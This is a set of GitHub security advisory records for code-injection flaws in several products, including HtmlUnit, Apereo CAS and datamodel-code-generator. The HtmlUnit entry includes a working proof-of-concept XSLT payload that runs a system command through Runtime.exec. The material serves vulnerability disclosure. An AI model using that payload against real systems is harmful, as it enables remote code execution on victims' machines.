CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2006-6726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-12-26T21:28:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in inertianews_main.php in inertianews 0.02 beta allows remote attackers to execute arbitrary PHP code via a URL in the inews_path parameter.",
  "id": "GHSA-37m3-29m6-vgxq",
  "modified": "2022-05-01T07:40:48Z",
  "published": "2022-05-01T07:40:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6726"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/2976"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/21713"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/5130"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apereo.cas:cas-management-webapp-support"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3984"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-28T20:39:01Z",
    "nvd_published_at": "2025-04-27T20:15:15Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in Apereo CAS 5.2.6 and classified as critical. Affected by this issue is the function saveService of the file cas-5.2.6\\webapp-mgmt\\cas-management-webapp-support\\src\\main\\java\\org\\apereo\\cas\\mgmt\\services\\web\\RegisteredServiceSimpleFormController.java of the component Groovy Code Handler. The manipulation leads to code injection. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-37pq-893f-g7q5",
  "modified": "2025-11-05T22:01:03Z",
  "published": "2025-04-27T21:34:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3984"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apereo/cas"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306320"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306320"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.557100"
    },
    {
      "type": "WEB",
      "url": "https://wx.mail.qq.com/s?k=ilW4ixcMaVgGU49Dij"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apereo CAS code injection vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-4820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-10-27T01:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Untrusted search path vulnerability in Ghostscript 8.62 allows local users to execute arbitrary PostScript code via a Trojan horse Postscript library file in Encoding/ under the current working directory, a different vulnerability than CVE-2010-2055.",
  "id": "GHSA-37q2-9vp4-q6f4",
  "modified": "2022-05-17T04:30:18Z",
  "published": "2022-05-17T04:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4820"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=599564"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=771853"
    },
    {
      "type": "WEB",
      "url": "http://bugs.ghostscript.com/show_bug.cgi?id=691339"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0095.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0096.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/01/04/7"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/511433"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/51847"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-10835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-29T01:35:00Z",
    "severity": "HIGH"
  },
  "details": "\"Dokodemo eye Smart HD\" SCR02HD Firmware 1.0.3.1000 and earlier allows authenticated attackers to conduct code injection attacks via unspecified vectors.",
  "id": "GHSA-37rp-rg27-25p2",
  "modified": "2022-05-17T01:22:09Z",
  "published": "2022-05-17T01:22:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10835"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN87410770/index.html"
    },
    {
      "type": "WEB",
      "url": "http://www.nippon-antenna.co.jp/product/ine/pdf/scr02hd_about_security.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2006-5507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-25T22:07:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Der Dirigent (DeDi) 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfg_dedi[dedi_path] parameter in (1) find.php, (2) insert_line.php, (3) fullscreen.php, (4) changecase.php, (5) insert_link.php, (6) insert_table.php, (7) table_cellprop.php, (8) table_prop.php, (9) table_rowprop.php, (10) insert_page.php, and possibly insert_marquee.php in backend/external/wysiswg/popups/.",
  "id": "GHSA-37v3-73mx-jw5v",
  "modified": "2022-05-01T07:29:02Z",
  "published": "2022-05-01T07:29:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5507"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29760"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/0610-exploits/Derdirigent.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22546"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29950"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29951"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29952"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29953"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29954"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29955"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29956"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29957"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29958"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/29959"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20702"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4164"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.htmlunit:htmlunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-04T23:13:30Z",
    "nvd_published_at": "2023-12-04T05:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker\u2019s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,\u0027open -a Calculator\u0027)\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution",
  "id": "GHSA-37vq-hr2f-g7h7",
  "modified": "2023-12-04T23:13:30Z",
  "published": "2023-12-04T23:13:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HtmlUnit/htmlunit"
    },
    {
      "type": "WEB",
      "url": "https://www.htmlunit.org/changes-report.html#a3.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL"
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-1177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-29T19:30:00Z",
    "severity": "HIGH"
  },
  "details": "Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via vectors involving document.write calls with long crafted strings.",
  "id": "GHSA-37w4-g5xj-jwm8",
  "modified": "2022-05-02T06:19:53Z",
  "published": "2022-05-02T06:19:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1177"
    },
    {
      "type": "WEB",
      "url": "http://nishantdaspatnaik.yolasite.com/ipodpoc2.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38994"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-73453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T10:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "An unauthenticated P4Runtime (Programming Protocol-Independent Packet Processors Runtime) client can achieve arbitrary code execution under certain conditions on affected platforms running Arista EOS configured with P4Runtime. P4Runtime is disabled by default in Arista EOS. By crafting a malicious packet during the initiation of a P4Runtime session, an attacker can obtain complete administrative control over the compromised switch.\n\nThis issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.",
  "id": "GHSA-383x-9pf8-56g8",
  "modified": "2026-09-16T12:30:30Z",
  "published": "2026-09-16T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73453"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/24730-security-advisory-0174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-39715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-07T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "A code injection vulnerability that allows a low-privileged user with REST API access granted to remotely upload arbitrary files to the VSPC server using REST API, leading to remote code execution on VSPC server.",
  "id": "GHSA-385q-2f2c-f3c9",
  "modified": "2024-09-07T18:30:24Z",
  "published": "2024-09-07T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39715"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.60.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:48:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator` is vulnerable to code injection when generating Python models from an attacker-controlled JSON Schema, OpenAPI, YAML, JSON, Avro, Protobuf, or XSD schema. When a property carries a `\"default_factory\"` key, its value is interpolated verbatim \u2014 as a raw Python expression \u2014 into the generated `Field(default_factory=...)` / `field(default_factory=...)` call. Because this assignment is evaluated at class-definition time (i.e. on `import` of the generated module), an attacker who controls the schema controls a Python expression that runs in the consumer\u0027s process. No special CLI flags are required.\n\n### Details\n\nThe vulnerable chain spans the JSON-Schema-shaped parser and three sink locations (Pydantic v2, dataclass, msgspec):\n\n**Source \u2014 schema \u2192 `extras`**:\n\n- `src/datamodel_code_generator/parser/jsonschema.py:600-614` \u2014 `DEFAULT_FIELD_KEYS` includes the literal string `\"default_factory\"`.\n- `src/datamodel_code_generator/parser/jsonschema.py:457-459` \u2014 `JsonSchemaObject.__init__` stores any non-standard key (including `default_factory`) in `self.extras`.\n- `src/datamodel_code_generator/parser/jsonschema.py:797-812` \u2014 `get_field_extras` preserves `default_factory` through to the field model.\n\n**Sinks \u2014 `extras` \u2192 generated Python expression**:\n\n1. `src/datamodel_code_generator/model/pydantic_base.py:222-249`:\n\n   ```python\n   default_factory = data.pop(\"default_factory\", None)\n   ...\n   if default_factory is not None:\n       field_arguments = [f\"default_factory={default_factory}\", *field_arguments]\n   ```\n\n   The `default_factory` value is interpolated raw (no `repr()`, no validation).\n\n2. `src/datamodel_code_generator/model/dataclass.py:211`:\n\n   ```python\n   f\"{k}={v if k == \u0027default_factory\u0027 else repr(v)}\"\n   ```\n\n   Explicit special-case to skip `repr()` for `default_factory`.\n\n3. `src/datamodel_code_generator/model/msgspec.py:361` \u2014 same pattern as dataclass.\n\nBecause `default_factory` is in `DEFAULT_FIELD_KEYS`, no special CLI flag is needed to reach the sink. Any input format that uses the JSON-Schema-shaped parser (`jsonschema`, `openapi`, `yaml`, `json`, `dict`, `csv`) \u2014 and any input format that converts to it (`avro`, `protobuf`, `xmlschema`) \u2014 is in scope.\n\n### Confirmed PoC matrix\n\n| Input file type | Output model type | Result |\n|---|---|---|\n| `jsonschema` | `pydantic_v2.BaseModel` | RCE on import |\n| `jsonschema` | `dataclasses.dataclass` | RCE on import |\n| `jsonschema` | `msgspec.Struct` | RCE on import |\n| `jsonschema` | `typing.TypedDict` | safe (TypedDict doesn\u0027t render `field()`; `default_factory` silently dropped) |\n| `openapi`    | `pydantic_v2.BaseModel` | RCE on import |\n\nOther JSON-Schema-shaped inputs (`yaml`, `json`, `dict`, `csv`, `avro`, `protobuf`, `xmlschema`) follow the same code path and are expected to reproduce.\n\n### PoC\nSelf contained Proof of Concept is available at my secret gist: https://gist.github.com/thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf\n\n### Impact\n\n- **Who\u0027s affected**: any developer or CI pipeline that runs `datamodel-codegen` against a schema they didn\u0027t author themselves \u2014 third-party API specs, schemas pulled from a registry, vendored upstream `.json` / `.yaml` / `.avsc` / `.proto` / `.xsd` files, schemas fetched from a remote URL or introspection endpoint \u2014 *and* who imports the generated `.py`.\n- **What it gains**: arbitrary Python code execution in the importer\u0027s process at `import` time. The PoC copies `/etc/passwd` to a tmp file to demonstrate arbitrary read; the same primitive supports any operation the importing process can perform (filesystem write, environment exfiltration, secondary network calls, RCE on CI runners).\n- **What it does NOT need**: no special CLI flags, no custom templates, no `--extra-template-data`, no `--use-schema-description`. Default invocation against a malicious schema is sufficient.\n- **What does block it**: choosing `--output-model-type typing.TypedDict` (which doesn\u0027t render `field()` / `Field()` calls). All other supported output model types are vulnerable.\n\n### Resolution\n\nThe fix validates schema-provided `default_factory` values while extracting JSON Schema field extras. Only the supported factory names `dict`, `list`, and `set` are accepted; any other value now raises a generator error before code generation. Generator-created default factories for supported mutable defaults and optional nested models continue to use the existing code paths.\n\n### Remediation\n\nUpgrade to `datamodel-code-generator` `0.60.2` or later.\n\nThis issue affects `datamodel-code-generator` versions `\u003e= 0.17.0, \u003c= 0.60.1` and is fixed in `0.60.2`.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-386q-5hp3-95m9",
  "modified": "2026-07-28T21:48:14Z",
  "published": "2026-07-28T21:48:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-386q-5hp3-95m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/17fc235e234cbcfaaadef8c74cb72c9687db0d1d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`datamodel-code-generator` vulnerable to code injection in via attacker-controlled `default_factory` schema field"
}